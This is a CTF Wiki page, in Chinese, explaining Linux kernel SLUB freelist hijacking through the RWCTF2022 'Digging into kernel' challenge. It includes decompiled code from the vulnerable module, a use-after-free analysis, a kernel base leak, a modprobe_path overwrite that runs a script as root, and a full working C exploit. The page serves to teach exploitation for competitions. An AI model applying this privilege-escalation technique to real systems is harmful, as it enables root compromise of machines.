CTF Wiki
  • 简介
  • 如何使用 CTF Wiki
  • introduction
    • CTF 历史
    • CTF 竞赛模式简介
    • CTF 竞赛内容
    • 线下攻防经验小结
    • CGC 超级挑战赛
    • 学习资源
  • misc
    • 杂项简介
    • 取证隐写前置技术
    • 信息搜集技术
    • encode
      • 通信领域常用编码
      • 计算机相关的编码
      • 现实世界中常用的编码
    • picture
      • 图片分析简介
      • JPG
      • PNG
      • GIF
    • audio
      • 音频隐写
    • archive
      • RAR 格式
      • ZIP 格式
    • traffic
      • 流量包分析简介
      • 协议分析概述
        • Wireshark
        • DNS
        • HTTP
        • HTTPS
        • FTP
        • USB
        • WIFI
      • 数据提取
      • PCAP 文件修复
    • disk-memory
      • 磁盘内存分析
      • 题目
    • shellcode
    • other
      • pyc
  • web
    • Web 简介
    • XSS
    • php
      • PHP 代码审计
    • SQL 注入
      • sqlmap绕过脚本
      • 各版本数据库语句备忘
    • CSRF
    • SSRF
  • reverse
    • 软件逆向工程简介
    • identify-encode-encryption
      • 常见加密算法和编码识别
    • language
      • 简介
      • go
        • Golang 逆向入门
      • python
        • Python 逆向入门
      • rust
        • Rust 逆向入门
    • maze
      • 迷宫问题
    • obfuscate
      • 控制流平坦化
      • 花指令
      • movofuscator
      • Self-Modified Code
    • vm
      • 虚拟机分析
    • platform
      • linux
        • Detecting Breakpoints
        • Detecting debugging
        • False Disassembly
        • LD_PRELOAD
      • windows
        • anti-debug
          • CheckRemoteDebuggerPresent
          • 反调试技术例题
          • Heap Flags
          • Interrupt 3
          • IsDebuggerPresent
          • 花指令
          • NtGlobalFlag
          • NtQueryInformationProcess
          • The Heap
          • Thread Local Storage(TLS)
          • ZwSetInformationThread
        • unpack
          • 一步到达 OEP 法
          • ESP 定律法
          • DUMP 及 IAT 重建
          • 最后一次异常法
          • 手动查找 IAT 并使用 ImportREC 重建
          • 内存镜像法
          • 保护壳简介
          • SFX 法
          • 单步跟踪法
          • DLL 文件脱壳
    • tools
      • constraint
        • z3
      • debug
        • gdb
        • ollydbg
        • windbg
        • x64dbg/x32dbg
      • simulate-execution
        • angr
        • Unicorn Engine
      • static-analyze
        • dnspy
        • Ghidra
        • IDA Pro
        • jadx
  • crypto
    • 密码学简介
    • asymmetric
      • 介绍
      • discrete-log
        • 离散对数
        • ECC
        • ElGamal
      • knapsack
        • 背包加密
      • lattice
        • CVP
        • 基本介绍
        • 格基规约算法
        • 格概述
      • rsa
        • RSA 选择明密文攻击
        • RSA 复杂题目
        • Coppersmith 相关攻击
        • 公钥指数相关攻击
        • 模数相关攻击
        • Bleichenbacher's attack
        • RSA 侧信道攻击
        • RSA 介绍
        • d_attacks
          • 私钥 d 相关攻击
          • 扩展维纳攻击
    • attack-summary
      • 简介
      • 比特攻击
      • 中间相遇攻击 - MITM
    • basic
      • 基础数学知识
    • blockcipher
      • AES
      • ARX: Add-Rotate-Xor
      • DES
      • IDEA
      • 块加密
      • Simon and Speck Block Ciphers
      • mode
        • CBC
        • CFB
        • CTR
        • ECB
        • 分组模式
        • OFB
        • Padding Oracle Attack
        • 填充方式
        • PCBC
    • certificate
      • 证书格式
    • classical
      • 古典密码简介
      • 单表代换加密
      • 其它类型加密
      • 多表代换加密
      • 总结
    • hash
      • Hash Attack
      • 综合题目
      • Fowler–Noll–Vo hash function
      • 哈希函数
      • MD5
      • SHA1
    • signature
      • DSA
      • ElGamal
      • 数字签名
      • RSA 数字签名
    • streamcipher
      • 流密码
      • fsr
        • 反馈移位寄存器
        • 线性反馈移位寄存器 - LFSR
        • 非线性反馈移位寄存器
      • lcg
        • 题目
        • 线性同余生成器
      • prng
        • 密码安全伪随机数生成器
        • 伪随机数生成器介绍
        • 题目
      • special
        • RC4
  • pwn
    • MacOS
    • misc-os
    • 概述
      • stackoverflow
        • 执行 Shellcode
        • 栈介绍
        • 栈溢出原理
    • browser
      • Chrome
      • Firefox
      • Safari
    • hardware
      • 简介
        • side-channel
          • prefetch side-channel attack
      • trusted-computing
        • 可信执行环境
    • linux
      • kernel-mode
        • 基础知识
        • Introduction
          • DoS
          • Information Disclosure
          • Introduction
            • Change Others
            • Change Self
        • Introduction
          • Introduction
            • 信息泄漏
            • Misc
          • Introduction
            • Kernel Stack Canary
          • Introduction
            • inner-kernel
              • 内部隔离
            • Introduction
              • KPTI - Kernel Page Table Isolation
              • 用户代码不可执行
              • 用户数据不可访问
          • Introduction
            • FGKASLR
            • KASLR
        • Introduction
          • 编译内核驱动
          • 内核下载与编译
          • Qemu 模拟环境
          • Real Device
        • exploitation
          • heap
            • 内核堆概述
            • buddy
              • Cross-Cache Overflow & Page-level Heap Fengshui
              • Page-level UAF
            • slub
              • freelist 劫持
              • Heap Spray
              • kernel UAF
          • race
            • Double Fetch
            • userfaultfd 的使用
          • rop
            • bypass-smep
            • ret2dir
            • 利用 pt_regs 构造通用内核 ROP
            • ret2usr(已过时)
            • Kernel ROP
          • tricks
            • 在内存中直接搜索 flag
      • user-mode
        • environment
        • fmtstr
          • 检测
          • 例子
          • 利用
          • 原理介绍
        • integeroverflow
          • 整数溢出
        • io-file
          • glibc 2.24下 IO_FILE 的利用
          • 伪造vtable劫持程序流程
          • FSOP
          • FILE结构
        • mitigation
          • Canary
        • race-condition
          • introduction
          • 题目
        • summary
          • 获取地址
          • shell 获取小结
          • 控制程序执行流
        • Type Confusion
        • Uninitialized Memory
        • heap
          • mallocng
          • ptmalloc2
            • Chunk Extend and Overlapping
            • Fastbin Attack
            • 堆概述
            • 堆相关数据结构
            • 堆溢出
            • House Of Einherjar
            • House Of Force
            • House of Lore
            • House of Orange
            • House of Pig
            • House of Rabbit
            • House of Roman
            • 堆利用
            • Large Bin Attack
            • 通过堆进行信息泄漏
            • 堆中的 Off-By-One
            • 堆中的检查
            • tcache makes heap exploitation easy again
            • Unlink
            • Unsorted Bin Attack
            • Use After Free
            • implementation
              • 基础操作
              • 释放内存块
              • 堆初始化
              • malloc_state 相关函数
              • 申请内存块
              • 测试支持
              • 深入理解堆的实现
              • tcache
        • stackoverflow
          • arm
            • 环境搭建
            • Arm ROP
          • mips
            • mips - ROP
          • RISC-V
          • x86
            • 基本 ROP
            • 花式栈溢出技巧
            • 中级ROP
            • 栈介绍
            • 栈溢出原理
            • advanced-rop
              • 高级 ROP
              • ret2dlresolve
              • ret2VDSO
              • SROP
    • sandbox
      • Chroot
      • Docker
      • Namespace
      • python
        • Python 沙盒
      • seccomp
        • C 沙盒逃逸
      • Shell Sandbox
    • virtualization
      • basic-knowledge
        • 虚拟化技术简介
        • CPU 虚拟化
        • IO 虚拟化
        • 内存虚拟化
      • parallels
        • Parallels
      • VirtualBox
      • VMWare
      • qemu
        • basic-knowledge
          • QEMU 设备模拟
          • QEMU 内存管理
        • environment
          • 编写 QEMU 模拟设备
          • QEMU 下载与编译
        • exploitation
          • QEMU 逃逸入门
          • 越界读写
  • Android 安全
    • basic_develop
      • Android 开发基础
    • Android 应用运行机制简述
      • Android 中 Java 层的运行机制
        • dex
          • DEX文件
          • ODEX文件
        • smali
          • Smali
      • native_layer
        • so 介绍
    • basic_reverse
      • Android 关键代码定位
      • Android 逆向基本介绍
      • dynamic
        • Android 动态调试
        • IDA 动态调试原生层程序
        • IDA 动态调试 smali 代码
      • static
        • 静态分析综合题目
        • 静态分析 java 层例子
        • 静态分析原生层程序
  • blockchain
    • Blockchain Security Challenges
    • Blockchain Security Overview
    • ethereum
      • Ethereum Basics
      • Ethereum Overview
      • Ethereum Opcodes
      • 学习资源
      • Smart Contract Reverse
      • Function Selector and Argument Encoding
      • Ethereum Storage
      • attacks
        • Airdrop Hunting
        • Arbitrary Writing
        • CREATE2
        • Delegatecall
        • Introduction
        • Jump Oriented Programming
        • Integer Overflow and Underflow
        • Randomness
        • Re-Entrancy
        • Short Address Attack
        • Uninitialized Storage Pointer
    • publicblockchain
      • Public Blockchain Security Overview
      • Blockchain Weaknesses
  • assembly
    • ARM
    • MIPS
    • x86_x64
  • executable
    • elf
      • 程序加载
      • 程序执行流程
      • linking
        • 程序链接
        • Symbol Reslove
      • structure
        • ELF 文件
        • Code Section
        • Data Related Sections
        • Dynamic Sections
        • Misc Sections
        • Sections
        • String Sections
        • .symtab: Symbol Table
    • pe
      • PE 文件格式
      • 导出表
      • 导入表
      • 基址重定位表
  • ics
    • ICS_CTF 竞赛
    • ICS_CTF 发现
    • ICS_CTF 利用
    • ICS_CTF 学习资源
  • contribute
    • 贡献之前
    • 基本贡献方式
    • 贡献文档要求
    • 翻译
  • write up
    • 浙江工业大学CTF赛事
      • 2023第四届“安恒杯”CTF新生赛题解
Powered by GitBook
On this page
  • 例题:RWCTF2022高校赛 - Digging into kernel 1 & 2
  • 题目分析
  • 漏洞利用
  • EXPLOIT
  1. pwn
  2. linux
  3. kernel-mode
  4. exploitation
  5. heap
  6. slub

freelist 劫持

与用户态 glibc 中分配 fake chunk 后覆写 __free_hook 这样的手法类似,我们同样可以通过覆写 freelist 中的 next 指针的方式完成内核空间中任意地址上的对象分配,并修改内核当中一些有用的数据以完成提权(例如一些函数表等)。

例题:RWCTF2022高校赛 - Digging into kernel 1 & 2

两道题目实际上是同一道题,因为第一题由于启动脚本漏洞所以可以直接拿 flag所以第二道题其实是对第一道题目的脚本的修复

题目分析

首先查看启动脚本

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
    -cpu kvm64,+smep,+smap \
    -monitor null \
    --nographic

开启了 smep 和 smap,这里出题人将 kaslr 写成了 kalsr,不过并不影响 kaslr 的默认开启。

查看 /sys/devices/system/cpu/vulnerabilities/*,发现开启了 KPTI:

/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

题目给出了一个 xkmod.ko 文件,按照惯例这应当就是有漏洞的 LKM,拖入 IDA 进行分析。

在模块载入时会新建一个 kmem_cache 叫 "lalala",对应 object 大小是 192,这里我们注意到后面三个参数都是 0 ,对应的是 align(对齐)、flags(标志位)、ctor(构造函数),由于没有设置 SLAB_ACCOUNT 标志位故该 kmem_cache 会默认与 kmalloc-192 合并。

int __cdecl xkmod_init()
{
  kmem_cache *v0; // rax

  printk(&unk_1E4);
  misc_register(&xkmod_device);
  v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
  buf = 0LL;
  s = v0;
  return 0;
}

定义了一个常规的菜单堆,给了分配、编辑、读取 object 的功能,这里的 buf 是一个全局指针,我们可以注意到 ioctl 中所有的操作都没有上锁。

void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // [rsp+0h] [rbp-20h] BYREF
  unsigned int v4; // [rsp+8h] [rbp-18h]
  unsigned int v5; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v6; // [rsp+10h] [rbp-10h]

  v6 = __readgsqword(0x28u);
  if ( a3 )
  {
    copy_from_user(&v3, a3, 16LL);
    if ( a2 == 107374182 )
    {
      if ( buf && v5 <= 0x50 && v4 <= 0x70 )
      {
        copy_from_user((char *)buf + (int)v4, v3, (int)v5);
        return;
      }
    }
    else
    {
      if ( a2 != 125269879 )
      {
        if ( a2 == 17895697 )
          buf = (void *)kmem_cache_alloc(s, 3264LL);
        return;
      }
      if ( buf && v5 <= 0x50 && v4 <= 0x70 )
      {
        copy_to_user(v3, (char *)buf + (int)v4);
        return;
      }
    }
    xkmod_ioctl_cold();
  }
}

我们应当传入如下结构体:

struct Data
{
    size_t *ptr;
    unsigned int offset;
    unsigned int length;
}data;

漏洞点主要在关闭设备文件时会释放掉 buf,但是没有将 buf 指针置 NULL,只要我们同时打开多个设备文件便能完成 UAF。

int __fastcall xkmod_release(inode *inode, file *file)
{
  return kmem_cache_free(s, buf);
}

基本上等于复刻 CISCN-2017 的 babydrive...

漏洞利用

我们有着一个功能全面的“堆面板”,还拥有着近乎可以无限次利用的 UAF,我们已经可以在内核空间中为所欲为了(甚至不需要使用 ioctl 未上锁的漏洞),因此解法也是多种多样的。

Step.I - 实现内核任意地址读写

我们先看看能够利用 UAF 获取到什么信息,经笔者多次尝试可以发现当我们将 buf 释放掉之后读取其中数据时其前 8 字节都是一个位于内核堆上的指针,但通常有着不同的页内偏移,这说明:

  • 该 kmem_cache 的 offset 为 0

  • 该 kernel 未开启 HARDENED_FREELIST 保护

  • 该 kernel 开启了 RANDOM_FREELIST 保护

freelist 随机化保护并非是一个运行时保护,而是在为 slub 分配页面时会将页面内的 object 指针随机打乱,但是在后面的分配释放中依然遵循着后进先出的原则,因此我们可以先获得一个 object 的 UAF,修改其 next 为我们想要分配的地址,之后我们连续进行两次分配便能够成功获得目标地址上的 object ,实现任意地址读写。

但这么做有着一个小问题,当我们分配到目标地址时目标地址前 8 字节的数据会被写入 freelist,而这通常并非一个有效的地址,从而导致 kernel panic,因此我们应当尽量选取目标地址往前的一个有着 8 字节 0 的区域,从而使得 freelist 获得一个 NULL 指针,促使 kmem_cache 向 buddy system 请求一个新的 slub,这样就不会发生 crash。

可能有细心的同学发现了:原来的 slub 上面还有一定数量的空闲 object,直接丢弃的话会导致内存泄漏的发生,但首先这一小部分内存的泄露并不会造成负面的影响,其次这也不是我们作为攻击者应该关注的问题(笑)

Step.II - 泄露内核基地址

接下来我们考虑如何泄露内核基址,虽然题目新建的 kmem_cache 会默认与 kmalloc-192 合并,但为了还原出题人原始意图,我们还是将其当作一个独立的 kmem_cache 来完成利用。

在内核“堆基址”(page_offset_base) + 0x9d000 处存放着 secondary_startup_64 函数的地址,而我们可以从 free object 的 next 指针获得一个堆上地址,从而去猜测堆的基址,之后分配到一个 堆基址 + 0x9d000 处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。

若是没有猜中,笔者认为直接重试即可,但这里需要注意的是我们不能够直接退出,而应当保留原进程的文件描述符打开,否则会在退出进程时触发 slub 的 double free 检测,不过经笔者测验大部分情况下都能够猜中堆基址。

Step.III - 修改 modprobe_path 以 root 执行程序

接下来我们考虑如何通过任意地址写完成利用,比较常规的做法是覆写内核中的一些全局的可写的函数表(例如 n_tty_ops)来劫持内核执行流,这里笔者选择覆写 modprobe_path 从而以 root 执行程序。

当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:

entry_SYSCALL_64()
    sys_execve()
        do_execve()
            do_execveat_common()
                bprm_execve()
                    exec_binprm()
                        search_binary_handler()
                            __request_module() // wrapped as request_module
                                call_modprobe()

其中 call_modprobe() 定义于 kernel/kmod.c,我们主要关注这部分代码(以下来着内核源码5.14):

static int call_modprobe(char *module_name, int wait)
{
	//...
	argv[0] = modprobe_path;
	argv[1] = "-q";
	argv[2] = "--";
	argv[3] = module_name;	/* check free_modprobe_argv() */
	argv[4] = NULL;

	info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
					 NULL, free_modprobe_argv, NULL);
	if (!info)
		goto free_module_name;

	return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
	//...

在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行,这个地址上默认存储的值为/sbin/modprobe。

我们不难想到的是:若是我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。

EXPLOIT

最后的 exp 如下:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH 0xffffffff82444700

struct Data
{
    size_t *ptr;
    unsigned int offset;
    unsigned int length;
};

#define ROOT_SCRIPT_PATH  "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void errExit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void allocBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void editBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void readBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
    int dev_fd[5], root_script_fd, flag_fd;
    size_t kernel_heap_leak, kernel_text_leak;
    size_t kernel_base, kernel_offset, page_offset_base;
    char flag[0x100];
    struct Data data;

    /* fundamental works */
    bindCore(0);

    for (int i = 0; i < 5; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    /* create fake modprobe_path file */
    root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
    write(root_script_fd, root_cmd, sizeof(root_cmd));
    close(root_script_fd);
    system("chmod +x " ROOT_SCRIPT_PATH);

    /* construct UAF */
    data.ptr = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.ptr, 0, 0x1000);

    allocBuf(dev_fd[0], &data);
    editBuf(dev_fd[0], &data);
    close(dev_fd[0]);

    /* leak kernel heap addr and guess the page_offset_base */
    readBuf(dev_fd[1], &data);
    kernel_heap_leak = data.ptr[0];
    page_offset_base = kernel_heap_leak & 0xfffffffff0000000;

    printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
    printf("[!] GUESSING page_offset_base: 0x%lx\n", page_offset_base);

    /* try to alloc fake chunk at (page_offset_base + 0x9d000 - 0x10) */
    puts("[*] leaking kernel base...");

    data.ptr[0] = page_offset_base + 0x9d000 - 0x10;
    data.offset = 0;
    data.length = 8;

    editBuf(dev_fd[1], &data);
    allocBuf(dev_fd[1], &data);
    allocBuf(dev_fd[1], &data);

    data.length = 0x40;
    readBuf(dev_fd[1], &data);
    if ((data.ptr[2] & 0xfff) != 0x30) {
        printf("[!] invalid data leak: 0x%lx\n", data.ptr[2]);
        errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base! TRY AGAIN!");
    }

    kernel_base = data.ptr[2] - 0x30;
    kernel_offset = kernel_base - 0xffffffff81000000;
    printf("\033[32m\033[1m[+] kernel base:\033[0m 0x%lx\n", kernel_base);
    printf("\033[32m\033[1m[+] kernel offset:\033[0m 0x%lx\n", kernel_offset);

    /* hijack the modprobe_path, we'll let it requesting new slub page for it */
    puts("[*] hijacking modprobe_path...");

    allocBuf(dev_fd[1], &data);
    close(dev_fd[1]);

    data.ptr[0] = kernel_offset + MODPROBE_PATH - 0x10;
    data.offset = 0;
    data.length = 0x8;

    editBuf(dev_fd[2], &data);
    allocBuf(dev_fd[2], &data);
    allocBuf(dev_fd[2], &data);

    strcpy((char *) &data.ptr[2], ROOT_SCRIPT_PATH);
    data.length = 0x30;
    editBuf(dev_fd[2], &data);

    /* trigger the fake modprobe_path */
    puts("[*] trigerring fake modprobe_path...");

    system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
    system("chmod +x /home/fake");
    system("/home/fake");

    /* read flag */
    memset(flag, 0, sizeof(flag));
    
    flag_fd = open("/flag", O_RDWR);
    if (flag_fd < 0) {
        errExit("failed to chmod flag!");
    }

    read(flag_fd, flag, sizeof(flag));
    printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);

    return 0;
}
PreviousslubNextHeap Spray

Last updated 1 year ago